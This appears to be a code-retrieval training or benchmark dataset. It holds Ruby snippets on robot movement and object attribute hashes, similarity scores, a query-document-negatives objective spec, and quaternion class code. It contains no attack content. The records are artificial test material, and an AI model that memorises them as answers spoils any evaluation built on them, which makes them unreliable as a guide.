"def rotate(direction)\n\t\tnew_vector = (@robot.vectors[@robot_direction] + TURNING[direction]) % @robot.vectors.length\n\t\t@robot_direction = @robot.vectors.key(new_vector)\n\t\tputs \"Roger, roger. I\\'ve turned to the #{direction}! I\\'m now facing #{@robot_direction}\"\n\tend",
"def move\n case @toy_direction\n when \"NORTH\"\n new_place = [@toy_place[0], @toy_place[1] + 1]\n when \"EAST\"\n new_place = [@toy_place[0] + 1, @toy_place[1]]\n when \"SOUTH\"\n new_place = [@toy_place[0], @toy_place[1] - 1]\n when \"WEST\"\n new_place = [@toy_place[0] - 1, @toy_place[1]]\n end\n place_robot(new_place, @toy_direction)\n end",
"def debug_final_report\n\t\t\tsuper\n\t\t\tif @debug_level > 0\n\t puts \"Lowest OLD: \\t#{@lowest_old[0].to_a}\"\n\t puts \"Angle: \\t\\t#{@get_angle.(@current_point, @start_vector)}\"\n\t\t\tend\n\t\tend",
"def set_current_position!\n matrix[\n position[:y]\n ][\n position[:x]\n ] = DIRECTION_ARROWS[direction]\n end",
"def move\n\n if @position != []\n if @position[2] == \"EAST\"\n @position[0] += 1\n elsif @position[2] == \"WEST\"\n @position[0] -= 1\n elsif @position[2] == \"NORTH\"\n @position[1] += 1\n elsif @position[2] == \"SOUTH\"\n @position[1] -= 1\n end\n check_position()\n else\n puts \"Invalid Command!!.\\nPlease execute command (place) to place the robot on the table.\"\n end\n @position\nend",
"def advance_position\n case @direction\n when :up\n new_position = [@position[0], @position[1] - 1]\n determine_heading(new_position)\n @position = new_position\n when :down\n new_position = [@position[0], @position[1] + 1]\n determine_heading(new_position)\n @position = new_position\n when :left\n new_position = [@position[0] - 1, @position[1]]\n determine_heading(new_position)\n @position = new_position\n when :right\n new_position = [@position[0] + 1, @position[1]]\n determine_heading(new_position)\n @position = new_position\n end\n @position\n end",
"def create \n\t\trobot_position = RobotMovement.new(check_robot,robots_commands).robot_movement\n\t\trender json: { location: robot_position }\n\tend",
"def forward\n\n\t\t#Could use case statement here\n\t\t# case (@angle.abs % 360)\n\t\t# \twhen 0 then x = @x + 1\n\t\t# \tetc...\n\t\t# end\n\n\t\t#Get new x\n\t\tx = @x + Math.cos(@angle * (Math::PI / 180)).round\n\n\t\t#Get new y\n\t\ty = @y + Math.sin(@angle * (Math::PI / 180)).round\n\n\t\t# This should perhaps be tested in the command method after each command\n\t\tif !isLostPoint(x, y) and !isLost(x, y) then\n\t\t\t@x = x\n\t\t\t@y = y\n\t\tend\n\n\tend",
"def move\n ##incrementing or decrementing eg. current_direction W,\n ##position_x decrementing by 1 (-=1)\n if @current_direction == \"N\"\n @position_y += 1\n puts \"#{@position_y}\"\n elsif @current_direction == \"E\"\n @position_x += 1\n elsif @current_direction == \"W\"\n @position_x -= 1\n elsif @current_direction == \"S\"\n @position_y -= 1\n end\n\n end",
"def tdd_fme_update_move\n @x = $game_map.round_x_with_direction(@x, @direction)\n @y = $game_map.round_y_with_direction(@y, @direction)\n\n @real_x += @velocity_x\n @real_y += @velocity_y\n end",
"def get_current_position\n [@current_X_pos, @current_Y_pos]\n end",
"def move(forward,rotx,rotz)\n \n return if not (forward!=0 or rotx!=0 or rotz!=0)\n \n if CONFIG[:log][:camera]\n puts \"move: forward=#{forward} rotx=#{rotx} rotz=#{rotz}\"\n puts \"cam: pos=#{@pos} rot=#{@rot}\" \n end\n\n #@pos = @pos+@view.normalize if forward != 0\n @rot.x -= rotx\n @rot.z -= rotz\n\n end",
"def output\n @rovers.each do |rover|\n puts '%d %d %s' %rover.position if @map.rover_inside_plateu?(rover)\n end\n end",
"def report\n puts current_location\n end",
"def current_angle\n vx = (@vel_x.abs < 0.001) ? 0 : @vel_x\n vy = (@vel_y.abs < 0.001) ? 0 : @vel_y\n\n if (vx == 0) && (vy == 0)\n 0\n else\n Math.atan2(vx, -1 * vy)\n end\n end",
"def time\n @robot.time\n end",
"def move!\n case @facing\n when Direction::NORTH\n @loc[:y] += 1 unless out_of_bounds? @loc[:x], @loc[:y] + 1\n when Direction::EAST\n @loc[:x] += 1 unless out_of_bounds? @loc[:x] + 1, @loc[:y]\n when Direction::SOUTH\n @loc[:y] -= 1 unless out_of_bounds? @loc[:x], @loc[:y] - 1\n when Direction::WEST\n @loc[:x] -= 1 unless out_of_bounds? @loc[:x] - 1, @loc[:y]\n else\n raise %q{Don't know which direction to move}\n end\n end",
"def execute\n return unless @robot.table\n step_addition = Coordinate.step_addition_for(@robot.direction)\n new_coordinate = @robot.coordinate.add(step_addition)\n if @robot.table.is_on_table(new_coordinate)\n @robot.coordinate = new_coordinate\n end\n end",
"def move(direction)\n \n end",
"def move_home_all\n Status.current.info_target_x = 0\n Status.current.info_target_y = 0\n Status.current.info_target_z = 0\n @ramps_arduino.execute_command('G28', true, false)\n end",
"def print_location\n\t\t@location.print_point\t\n\tend",
"def tick events\n @outerlimit = (battlefield_width + battlefield_height) * 3\n #print \"mode=#{@mode},stage=#{@stage},dir=#{@dir},walldir=#{@walldir}\\n\"\n #print \"at (#{x},#{y}) at time #{time},res=#{@trk_res}\\n\"\n #mode nil is startup and initialize variables\n #STDOUT.flush\n # ###########\n # # Sensors\n # ###########\n @since_evade += 1\n @sincehit += 1\n @sincehit = 0 if not events['got_hit'].empty?\n events['got_hit'].each{|e| @hit_filter += e.first}\n @hit_filter *= 0.99\n if events['robot_scanned'].empty?\n @sinceblip += 1\n @closest = @outerlimit\n #print\"\\n\" \n else\n @closest = events['robot_scanned'].collect{|e| e.first}.sort.first\n @sinceblip = 0\n #print \",blip=#{@closest}\\n\"\n end\n # ###########\n # # High level logic - state machine\n # ###########\n #print \"sincehit=#{@sincehit},closest=#{@closest},range=#{@range}\\n\"\n #mode 0 is orient tank\n if @mode == 0\n @stage = 0\n @range = @outerlimit\n @mode = 1 if aimrad(@dir*90)\n #mode 1 find range of nearest target\n elsif @mode == 1\n #setup radar for a scan\n if @stage==0\n aimrad(@dir*90 + 180,60,1)\n @range = min(@range,@closest)\n @stage +=1\n #continue around for full circle\n elsif @stage == 1\n @range = min(@range,@closest)\n if aimrad(@dir*90,60,1)\n #did we see a bot?\n if @range == @outerlimit\n @stage = 0 \n else\n @mode = 2\n @stage = 0\n end\n end\n end\n #mode 2: find the nearestbot\n elsif @mode == 2\n #start next circle to re find the closest bot\n if @stage == 0\n #print \"range is #{@range}\\n\"\n aimrad(@dir*90 + 180,60,1)\n @stage +=1\n #continue scan for the closest bot\n elsif @stage == 1\n #print \"dir=#{@dir},angle=#{radar_heading}, closest=#{@closest}\\n\"\n if @closest < @range * 1.25\n @range = @closest\n @mode = 3\n @stage = 0\n @tangle = radar_heading\n #print \"found target at angle #{@tangle}\\n\"\n #if we finished the scan, and didn't find close target, recompute range\n elsif aimrad(@dir*90,60,1)\n @mode = 0\n @stage =0\n end\n end\n #mode 3 is tracking bot\n elsif @mode == 3\n #entry from previous mode, determine whether to scan ccw or cw\n if @stage == 0\n @trk_dir,@trk_res,@stage = -1,4,2\n #first scan in this direction\n elsif @stage == 1\n if @closest < @range * 1.25\n @range = @closest\n @trk_dir = -@trk_dir\n @trk_res = max(@trk_res - 1,0)\n @mytrack.add(x,y,@radar_heading, @range , time) if @trk_res < 3\n else\n @stage = 2\n end\n #second scan in this direction\n elsif @stage == 2\n if @closest < @range * 1.25\n @range = @closest\n @trk_dir = -@trk_dir\n @trk_res = max(@trk_res - 1,0)\n @mytrack.add(x,y,@radar_heading, @range , time) if @trk_res < 3\n @stage = 1\n else\n @trk_dir = -@trk_dir\n @trk_res = min(@trk_res + 2,4)\n @stage = 3\n end\n #the target bot has moved out of our window, expand the window\n elsif @stage == 3\n if @closest < @range * 1.25\n @range = @closest\n @trk_dir = - @trk_dir\n @trk_res = max(@trk_res - 2,0)\n @mytrack.add(x,y,@radar_heading, @range , time) if @trk_res < 3\n @stage = 1\n elsif @trk_res < 6\n @trk_dir = - @trk_dir\n @trk_res = @trk_res +1\n else\n #we lost our target, reaquire from scratch\n @mode = 0\n @stage = 0\n end\n end\n @tangle += @@ScanRes[@trk_res] * @trk_dir\n aimrad(@tangle)\n #print\"tangle=#{@tangle}, res=#{@@ScanRes[@trk_res]}, rot=#{@trk_dir}\\n\"\n elsif @mode == 4\n #determine which corner to go to from a corner\n if @stage == 0\n @stage += 1 if aimrad(@dir*90 + 95*@walldir)\n #first scan in direction of prev corner\n elsif @stage == 1\n aimrad(@dir*90 + 60*@walldir)\n @stage += 1\n #save count of robots in next corner, and swing radar to previous corner\n elsif @stage == 2\n @prevCorner = events['robot_scanned'].size\n aimrad(@dir*90 + 30*@walldir)\n @stage += 1\n elsif @stage == 3\n aimrad(@dir*90 -5*@walldir)\n @stage += 1\n elsif @stage == 4\n @nextCorner = events['robot_scanned'].size\n #print \"next corner=#{@nextCorner}, prev corner=#{@prevCorner}\\n\"\n if @nextCorner > @prevCorner\n @dir = (@dir + @walldir)%4\n @walldir *= -1\n end\n @stage = 0\n @mode = 0\n end\n elsif @mode == 5\n #determine which corner to go to from middle of wall\n if @stage == 0\n @stage += 1 if aimrad(@dir*90 - 5*@walldir)\n #first scan in direction of prev corner\n elsif @stage == 1\n aimrad(@dir*90 + 30*@walldir)\n @stage += 1\n #save count of robots in next corner, and swing radar to previous corner\n elsif @stage == 2\n @nextCorner = events['robot_scanned'].size\n aimrad(@dir*90 + 150*@walldir)\n @stage += 1\n elsif @stage == 3\n @stage += 1 \n aimrad(@dir*90 -150*@walldir)\n elsif @stage == 4\n aimrad(@dir*90 -185*@walldir)\n @stage += 1\n elsif @stage == 5 \n @prevCorner = events['robot_scanned'].size\n #print \"next corner=#{@nextCorner}, prev corner=#{@prevCorner}\\n\"\n if @nextCorner > @prevCorner\n @dir = (@dir + 2)%4\n @walldir *= -1\n end\n @stage = 0\n @mode = 0\n end\n end\n #compute the distances to the four walls\n walls = [battlefield_width - x,y,x,battlefield_height - y]\n #hug the wall, if we are slightly off the wall, than move back to the wall\n toleftwall,torightwall = walls[(@dir+1)%4],walls[(@dir-1)%4]\n #print \"wallroom left=#{toleftwall}, right=#{torightwall}\\n\"\n if toleftwall > 80 and toleftwall < 200\n aimtank(@dir * 90 + 20)\n elsif torightwall > 80 and torightwall < 200\n aimtank(@dir * 90 - 20)\n else\n aimtank(@dir * 90)\n end\n #If we reach a corner or wall, turn towards farthest corner on this wall\n if walls[@dir] < 100\n if toleftwall > torightwall\n @walldir = 1 #we are now going ccw\n @dir = (@dir+1)%4 # turn ccw\n #print \"turn left\\n\" \n else\n @walldir = -1 #we are now going cw\n @dir = (@dir-1)%4 #turn cw\n #print \"turn right\\n\" \n end\n #don't check corners at T junction\n if toleftwall > 100 and torightwall > 100\n @mode = 5 # determin weather it is safer ahead or behind\n @stage = 0\n else\n @mode = 4 # determin if previous corner was safer\n @stage = 0\n end\n #If we are getting hammered, turn now to evade damage\n # once we evade, avoid making another evasive manuver or we will turn in circles\n elsif @hit_filter > 400 and @since_evade > 100\n @dir = (@dir+@walldir)%4\n @hit_filter = 0\n @since_evade = 0\n end\n accelerate 1\n aim = @mytrack.predict(x,y,time) || (@dir * 90)%360\n aimgun(aim)\n fire 0.1\n doturns #we already computed our turns, now execute them\n STDOUT.flush\n end",
"def advance\n case bearing\n when :north\n coordinates[1] += 1\n when :east\n coordinates[0] += 1\n when :south\n coordinates[1] -= 1\n when :west\n coordinates[0] -= 1\n end\n end",
"def report\n puts @position.join(\",\")\n return @position\nend",
"def move\n case @rover_facing\n when 'N'\n @coordinates[1] += 1\n when 'E'\n @coordinates[0] += 1\n when 'S'\n @coordinates[1] -= 1\n when 'W'\n @coordinates[0] -= 1\n end\n end",
"def move\n case @current_rotation\n when ToyEnums::NORTH\n @position_y +=1\n when ToyEnums::SOUTH\n @position_y -=1\n when ToyEnums::EAST\n @position_x +=1\n when ToyEnums::WEST\n @position_x -=1\n else\n\n end\n end",
"def shout\n\t\tputs @x.to_s+\" \"+@y.to_s+\" \"+@orientations.key(@orientation.to_i)+\"\t\"+@status.to_s\n\tend",
"def print_iteration via_road, to_move\r\n\t\tprev_location = \"\"\r\n\t\tif to_move == 0\r\n\t\t\tprev_location = driver.location.east_location\r\n\t\telsif to_move == 1\r\n\t\t\tprev_location = driver.location.south_location\r\n\t\telsif to_move == 2\r\n\t\t\tprev_location = driver.location.west_location\r\n\t\telsif to_move == 3\r\n\t\t\tprev_location = driver.location.north_location\r\n\t\tend\r\n\t\tputs \"#{driver.name} heading from #{prev_location.name} to #{driver.location.name} via #{via_road}.\"\r\n\tend",
"def home()\n\t\t@x = @tam_ancho/2\n\t\t@y = @tam_alto/2\n\tend",
"def move!\n if placed?\n case orientation.to_sym\n when :NORTH then @y += 1 if valid_coordinates?(x, y + 1)\n when :EAST then @x += 1 if valid_coordinates?(x + 1, y)\n when :SOUTH then @y -= 1 if valid_coordinates?(x, y - 1)\n when :WEST then @x -= 1 if valid_coordinates?(x - 1, y)\n end\n nil\n else\n raise RobotSimulation::NotPlacedError, \"Robot has not been placed yet.\"\n end\n end",
"def update_location\n self.x = screen_x unless self.disposed?\n self.y = screen_y unless self.disposed?\n end",
"def screen_position\n position\n end",
"def direction\n return nil if x_vel.zero? && y_vel.zero?\n vector_to_angle(*drop_diagonal)\n end",
"def position(robot, robot_positions)\n r_pos = robot_positions.find { |p| p[:robot] == robot }\n r_pos[:position]\n end",
"def move_absolute( coord_x, coord_y, coord_z)\n\n # calculate the number of steps for the motors to do\n\n $status.info_target_x = coord_x\n $status.info_target_y = coord_y\n $status.info_target_z = coord_z\n\n steps_x = coord_x * @axis_x_steps_per_unit\n steps_y = coord_y * @axis_y_steps_per_unit\n steps_z = coord_z * @axis_z_steps_per_unit\n\n @axis_x_pos = steps_x\n @axis_y_pos = steps_y\n @axis_z_pos = steps_z\n\n move_to_coord(steps_x, steps_y, steps_z )\n\n end",
"def move\n if @x + @x_vel < 0\n net_move = (-2 * @x) - @x_vel\n @x += net_move\n @truex += net_move\n @x_vel = -@x_vel\n elsif @x + @x_vel > (1280 - @w)\n net_move = (2 * (1280 - @w - @x)) - @x_vel \n @x += net_move\n @truex += net_move\n @x_vel = -@x_vel\n else\n @truex += @x_vel\n @x += @x_vel\n end\n\n if @y + @y_vel < 0\n net_move = (-2 * @y) - @y_vel\n @y += net_move\n @truey += net_move\n @y_vel = -@y_vel\n elsif @y + @y_vel > (720 - @h)\n net_move = (2 * (720 - @h - @y)) - @y_vel \n @y += net_move\n @truey += net_move\n @y_vel = -@y_vel\n else\n @truey += @y_vel\n @y += @y_vel\n end\n end"
] |
[
"0.803053",
"0.7412843",
"0.73613125",
"0.6972874",
"0.69268864",
"0.6819841",
"0.67567635",
"0.67005676",
"0.65997297",
"0.6572118",
"0.6572118",
"0.64463973",
"0.64215946",
"0.6386886",
"0.62608427",
"0.6224459",
"0.61988735",
"0.61793095",
"0.61745423",
"0.6173017",
"0.61540735",
"0.60248137",
"0.59800875",
"0.59770375",
"0.59665215",
"0.59349805",
"0.59115684",
"0.58913994",
"0.58366823",
"0.58266693",
"0.57655513",
"0.5696544",
"0.5691078",
"0.5658518",
"0.565727",
"0.56399626",
"0.5630037",
"0.56168693",
"0.55963206",
"0.5577346",
"0.556953",
"0.5563201",
"0.55571246",
"0.5546802",
"0.55346507",
"0.5528001",
"0.55204237",
"0.5500432",
"0.54948425",
"0.5493215",
"0.5490266",
"0.5489214",
"0.5488174",
"0.5487885",
"0.5473288",
"0.54711044",
"0.5458614",
"0.5441398",
"0.54373306",
"0.5434912",
"0.5422214",
"0.54111683",
"0.5409321",
"0.54030424",
"0.54013246",
"0.539768",
"0.5389157",
"0.5364067",
"0.5348016",
"0.53376406",
"0.5334719",
"0.5327784",
"0.532735",
"0.5322799",
"0.5321213",
"0.53169596",
"0.53089523",
"0.52969223",
"0.5296695",
"0.52935153",
"0.5286203",
"0.52847326",
"0.52614623",
"0.52556723",
"0.52537704",
"0.52448964",
"0.5242816",
"0.52398413",
"0.52381605",
"0.52335465",
"0.5233098",
"0.5217035",
"0.521541",
"0.52121925",
"0.5210327",
"0.5209563",
"0.52019733",
"0.52001154",
"0.51986384",
"0.5195481"
] |
0.648183
|
11
|
Hash of initial attributes for :new, :create and :update actions. This is optional
|
def attributes_for(action)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def attributes\n @attributes ||= begin\n attrs = {}\n self.class.key_attrs.values.each { |a| attrs[a.name] = a.initial_value }\n self.class.other_attrs.values.each { |a| attrs[a.name] = a.initial_value }\n attrs\n end\n end",
"def creation_attributes\n { }\n end",
"def default_attributes\n {}\n end",
"def default_attributes\n @default_attributes ||= {}\n end",
"def create_attributes\n {}\n end",
"def attributes\n @attributes ||= {}\n end",
"def attributes\n @attributes ||= {}\n end",
"def attributes\n @attributes ||= {}\n end",
"def default_attributes\n {}\n end",
"def default_attributes\n {}\n end",
"def attributes # :nodoc:\n @attributes ||= {}\n end",
"def initialize_attributes()\n @attributes ||= {}\n merged_attributes = {}\n defaults = self.class.schema.defaults(self)\n\n # Merge the defaults in where attributes don't have a value defined.\n defaults.each do |name, value|\n merged_attributes[name] = attributes[name] || value\n end\n @attributes = merged_attributes\n end",
"def default_attributes\n @attributes = {\n :project => @name,\n :prefix => @prefix,\n :repositories => @repositories,\n :source => @source_project,\n :target => @target_project,\n :creation_date => \"#{Time.now}\",\n :last_mirror => \"0\",\n :date => \"#{Time.now}\",\n }\n end",
"def attributes\n @attributes ||= {}\n end",
"def attributes\n @attributes ||= {}\n end",
"def attributes\n @attributes ||= {}\n end",
"def attributes\n @attributes ||= {}\n end",
"def attributes\n @attributes ||= {}\n end",
"def default_attributes(custom = {})\n {}\n end",
"def attributes\n @_attributes ||= Hash.new.with_indifferent_access\n end",
"def data_for_create\n {}\n end",
"def attributes\n { 'username' => nil, 'work_place_refno' => nil, 'party_refno' => nil, 'user_roles' => nil,\n 'password_change_required' => nil, 'password_expiry_date' => nil, 'user_is_signed_ta_cs' => nil }\n end",
"def _attributes\n @_attributes = superclass.try(:_attributes)&.dup || {} unless defined?(@_attributes)\n @_attributes\n end",
"def attributes\n @attributes = @attributes || {}\n end",
"def attributes\n @attributes ||= {}\n @attributes\n end",
"def default_attributes\n cfg_get(:default_attributes)\n end",
"def view_attributes\n {}\n end",
"def define_implicit_attributes\n @params = {}\n\n @action.input_params.each do |name, param|\n @params[name] = {} if param[:type] == 'Resource'\n end\n end",
"def attributes\n Hash.new.tap do |atts|\n _attributes.instance_variables.each do |ivar|\n # todo: figure out why it's setting @constructor and @toString\n next if ivar == :@constructor || ivar == :@toString || ivar == :@_attributes || ivar == :@_data || ivar == :@_forms\n\n att = ivar[1..-1].to_sym\n atts[att] = _attributes.send(att)\n\n if form_name = _form[att.to_s.to_sym]\n atts[att] = wedge(form_name, atts[att].respond_to?(:attributes)? atts[att].attributes : atts[att]).attributes\n end\n end\n end\n end",
"def default_attributes\n cfg_get(:default_attributes)\n end",
"def attributes\n @attributes ||= {}.freeze\n end",
"def _attributes_\n @_attributes_ ||= self.class.attributes.dup\n end",
"def attributes\r\n hash = super\r\n hash.delete('author')\r\n hash.delete('images')\r\n hash[\"document_type\"] = document_type\r\n hash[\"section_name\"] = section_name\r\n hash\r\n end",
"def attributes\n @attributes ||= {\n 'id' => nil,\n 'dzi_url' => nil,\n 'thumbnail_url' => nil,\n 'isc_row' => nil\n }\n end",
"def init_attributes(attributes)\n self.attributes = attributes.symbolize_keys\n end",
"def attr_hash\n hash = create_hash\n hash.delete(\"id\")\n hash.delete(\"errors\")\n return hash\n end",
"def attributes\n {\n study:,\n study_file:,\n user:,\n action:,\n reparse:,\n persist_on_fail:,\n params_object: params_object&.attributes\n }\n end",
"def input_attributes\n super || default_attributes\n end",
"def attributes\n (@original_attributes||{}).merge(@attributes).keys.inject({}) do |hash, key|\n hash[key] = read_attribute(key)\n hash\n end\n end",
"def required_attributes\n self.class::REQUIRED_ATTRIBUTES\n end",
"def default_attrs\n @default_attrs\n end",
"def unknown_attributes\n @unknown_attributes ||= {}\n end",
"def unknown_attributes\n @unknown_attributes ||= {}\n end",
"def unknown_attributes\n @unknown_attributes ||= {}\n end",
"def _attributes_\n @_attributes_ ||= self.class.attributes.dup\n end",
"def preinitialize(attrs = nil)\n @attributes = {}\n end",
"def valid_attributes\n { \"key\" => \"hello\", \"name\" => \"world\" }\n end",
"def copied_attributes\n\t\tattrs = {}\n\t\tattrs[:key] = self.key\n\t\tattrs[:value] = self.value\n\t\tattrs[:description] = self.description\n\t\tattrs[:reference_id] = self.id\n\t\tattrs[:rider_id] = self.rider_id\n\t\tattrs[:tag_list] = self.tag_list\n\n\t\tattrs\n\tend",
"def attributes\n self.class._attributes.dup.each_with_object({}) do |name, hash|\n hash[name] = send(name)\n end\n end",
"def modified_attributes_for_action(action)\n case action.to_sym\n when :create then modified_attributes_for_create\n when :destroy then modified_attributes_for_destroy\n else modified_attributes_for_update\n end\n end",
"def attributes\n @attributes = { } if !instance_variable_defined?(:@attributes) or @attributes.nil?\n @attributes\n end",
"def default_params\n case @action.to_s\n when /(show|edit|update|destroy)/\n {:id => \"some_id\"}\n else\n {}\n end\n end",
"def original_attributes\n {}.with_indifferent_access.merge(attributes).merge(changed_attributes)\n end",
"def current_attributes\n attributes.each_key.each_with_object({}) do |key, h|\n h[key] = public_send(key)\n end\n end",
"def initialize_attributes(attributes); end",
"def set_default_attributes\n self.attributes = default_attributes\n self.attributes.each do |key, value|\n # Scrub the attributes if there's no value\n attr_clean!(key) unless value\n end\n end",
"def initialize(**attributes)\n @attr = {}\n attributes\n end",
"def valid_attributes\n {}\n end",
"def valid_attributes\n {}\n end",
"def valid_attributes\n {}\n end",
"def valid_attributes\n {}\n end",
"def valid_attributes\n {}\n end",
"def valid_attributes\n {}\n end",
"def valid_attributes\n {}\n end",
"def valid_attributes\n {}\n end",
"def to_params\n ::HashWithIndifferentAccess.new(attributes_hash)\n end",
"def initialize_attrs\n attrs[:initial] and initial(attrs[:initial])\n attrs[:target] and target(attrs[:target])\n attrs[:terminal] and terminal(attrs[:terminal])\n log_transitions(attrs.fetch(:log_transitions, false))\n end",
"def attributes_for_save\n @_attributes_for_save ||=\n resource.persisted? ? attributes_for_update : attributes_for_create\n end",
"def attributes_hash\n self.info.to_hash.symbolize_keys\n end",
"def valid_attributes\n { commit_sha: '0123456789', application: 'application_name', repository_name: 'repo_name', server: 'server-name' }\n end",
"def get_initial_state\n {\n form_model: props.menu_item_to_edit\n }\n end",
"def initialize\n @attributes = {}\n end",
"def attributes\n attrs = super\n if attrs['user'] && attrs['user']['id']\n attrs.merge!('user_id' => attrs['user']['id'])\n attrs.delete 'user'\n end\n attrs\n end",
"def previously_changed_attributes\n @previously_changed || {}\n end",
"def reset_attributes\n self.attributes = {\n # reset time\n :opened_at => nil,\n :resolved_at => nil,\n :closed_at => nil, \n :suspended_at => nil,\n :deleted_at => nil,\n # other\n :currency => self.person ? self.person.default_currency : nil,\n :price_cents => 0\n }\n end",
"def changed_attributes\n @changed_attributes ||= {}\n end",
"def changed_attributes\n @changed_attributes ||= {}\n end",
"def resource_params\n {}\n end",
"def permitted_attributes\n klass.properties.keys.map(&:to_sym) + %i[id edit_users edit_groups read_groups visibility work_members_attributes]\n end",
"def key_attrs\n @key_attrs ||= {}\n end",
"def update_attributes(attrs)\n super({})\n end",
"def modified_attributes_for_action(action)\n case action.to_sym\n when :destroy then modified_attributes_for_destroy\n when :create then modified_attributes_for_create\n else modified_attributes_for_update\n end\n end",
"def params\n { :only => self.attrs, :methods => self.methds }\n end",
"def all_attributes\n @@all_attributes ||= \n begin\n to_return = {}\n @fields.each do |key, field|\n to_return[key] = field.human_name\n end\n to_return\n end\n end",
"def properties\n resource_attributes.keys - [:new_record]\n end",
"def params\n { :only => self.attrs, :methods => self.methds }\n end",
"def params_for_user\n {}\n end",
"def params_for_user\n {}\n end",
"def initialize( attrs = {} )\n @attributes = self.class.__properties.merge( attrs ).with_indifferent_access\n end",
"def copied_attributes\n\t\tattrs = {}\n\t\tattrs[:year] = self.year\n\t\tattrs[:age] = self.age\n\t\tattrs[:amount] = self.amount\n\t\tattrs[:rate] = self.rate\n\n\t\tattrs\n\tend",
"def initialize(*args)\n @attributes = HashWithIndifferentAccess[ self.class.attribute_names.zip([]) ]\n @attributes_cache = HashWithIndifferentAccess.new\n @previously_changed = HashWithIndifferentAccess.new\n @changed_attributes = HashWithIndifferentAccess.new\n super()\n end",
"def attributes\n @attributes ||= self.class.class_attributes.clone\n end",
"def default_attrs\n attrs = model_class.column_names.collect(&:to_sym)\n attrs - [:id, :position, :password]\n end",
"def login_attributes\n attrs = {}\n\n attr_pairs = [\n {\"userName\" => @user_name},\n {\"suspended\" => @suspended},\n {\"ipWhitelisted\" => @ip_whitelisted},\n {\"admin\" => @admin},\n {\"changePasswordAtNextLogin\" => @change_password_at_next_login},\n {\"agreedToTerms\" => @agreed_to_terms},\n {'password' => @password},\n {'hashFunctionName' => @hash_function_name},\n ]\n\n attr_pairs.each do |pair|\n key = pair.keys.first\n attrs.merge!(pair) unless pair[key].nil?\n end\n\n attrs\n end",
"def attributes= new_attributes\n ingest_attributes(new_attributes)\n end",
"def other_attrs\n @other_attrs ||= {}\n end",
"def attributes\n hash = {\n \"author\" => @author,\n \"title\" => @title,\n \"summary\" => @summary,\n \"images\" => @images,\n \"source\" => @source,\n \"date\" => @date\n }\n end",
"def initialize(attrs = {})\n @attributes = {}.with_indifferent_access\n process(defaults.merge(attrs))\n @new_record = true if id.nil?\n generate_key\n end",
"def attributes_hash\n fail 'sub class to implement'\n end",
"def updatable_attributes\n [:name]\n end",
"def attributes\n @attributes ||= get_field_by_type(ATTRIBUTE_FIELDS)\n end"
] |
[
"0.72828543",
"0.7228471",
"0.72082424",
"0.71196026",
"0.7031325",
"0.69217175",
"0.69217175",
"0.69217175",
"0.68784016",
"0.68784016",
"0.6865404",
"0.6861506",
"0.68182206",
"0.6758456",
"0.6758456",
"0.6758456",
"0.6758456",
"0.6758456",
"0.6751411",
"0.6666538",
"0.6651751",
"0.6616796",
"0.66070026",
"0.6597634",
"0.65890646",
"0.6541172",
"0.65286946",
"0.6500488",
"0.6496973",
"0.64892286",
"0.6481037",
"0.6441651",
"0.64220476",
"0.64092034",
"0.63873416",
"0.636752",
"0.63625455",
"0.63611597",
"0.6344707",
"0.6333716",
"0.632183",
"0.63075346",
"0.63075346",
"0.63075346",
"0.62992513",
"0.62756956",
"0.6260825",
"0.6245116",
"0.62442416",
"0.6242804",
"0.6241894",
"0.62266034",
"0.6226279",
"0.6215383",
"0.6209541",
"0.62009084",
"0.6193517",
"0.61916775",
"0.61916775",
"0.61916775",
"0.61916775",
"0.61916775",
"0.61916775",
"0.61916775",
"0.61916775",
"0.618439",
"0.6178836",
"0.6171232",
"0.6169265",
"0.616825",
"0.616286",
"0.615972",
"0.6158251",
"0.61558235",
"0.6153961",
"0.6153536",
"0.6153536",
"0.6146012",
"0.6134619",
"0.61247325",
"0.6121566",
"0.6107283",
"0.60991305",
"0.6090393",
"0.6087188",
"0.60831183",
"0.60761344",
"0.60761344",
"0.60729486",
"0.6069937",
"0.6066197",
"0.60652506",
"0.60643655",
"0.60625947",
"0.60614544",
"0.60560244",
"0.6046581",
"0.60418856",
"0.60358113",
"0.6008615",
"0.60065603"
] |
0.0
|
-1
|
Create a new Quaternion
|
def initialize(a = 0, b = 0, c = 0, d = 0)
@a = a unless a.nil?
@b = b unless b.nil?
@c = c unless c.nil?
@d = d unless d.nil?
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def to_qt\n Qt::Quaternion.new(w, x, y, z)\n end",
"def to_s\r\n \"Quaternion: axis: x #{axis.x} y #{axis.y} z #{axis.z} real #{real}\"\r\n end",
"def % other\n if other.is_a? Quaternion\n raise \"invalid operation\"\n else\n Quaternion.new @t0%other, @t1%other, @t2%other, @t3%other\n end\n end",
"def create_rotation\n end",
"def *(q)\n if q.is_a?(Numeric) and q.abs() == 1\n return UnitQuaternion.new(@beta0 * q, *(@beta_s * q))\n elsif q.is_a?(UnitQuaternion)\n beta0, beta_s = quatMult(q)\n return UnitQuaternion.new(beta0, *beta_s)\n else\n return super(q)\n end\n end",
"def conjugate\n Quaternion.new(@a, -1 * @b, -1 * @c, -1 * @d)\n end",
"def inverse\n result = UnitQuaternion.new\n result.set(@beta0, *(-1*@beta_s))\n return result\n end",
"def +( otherQuat )\n\t\t\tself.class.new( @elem[0] + otherQuat[0],\n\t\t\t\t\t\t @elem[1] + otherQuat[1],\n\t\t\t\t\t\t @elem[2] + otherQuat[2],\n\t\t\t\t\t\t @elem[3] + otherQuat[3] )\n\t\tend",
"def multiply_quat!(rhs)\n multiply_quat rhs, self\n end",
"def inverse\r\n quaternion.inverse!\r\n end",
"def rotate! pitch=0, yaw=0, roll=0\n\t\ta = pitch.respond_to?(:x) ? pitch.to_a : [pitch,yaw,roll]\n\t\t# create 3 quats for pitch, yaw, roll\n\t\t# and multiply those together to form a rotation quat\n\t\t# then apply it to the current quat to update it\n#\t\tsy, sp, sr = a.map { |x| Math.sin(x*@@pi360) }\n#\t\tcy, cp, cr = a.map { |x| Math.cos(x*@@pi360) }\n\t\tsp, sy, sr = a.map { |x| Math.sin(x*@@pi360) }\n\t\tcp, cy, cr = a.map { |x| Math.cos(x*@@pi360) }\n\t\tresult = normalize * Quat.new(\n\t\t\tcr*sp*cy + sr*cp*sy,\n\t\t\tcr*cp*sy - sr*sp*cy,\n\t\t\tsr*cp*cy - cr*sp*sy,\n\t\t\tcr*cp*cy + sr*sp*sy\n\t\t).normalize\n\t\t@x,@y,@z,@w = result.to_a\n\t\tself\n\tend",
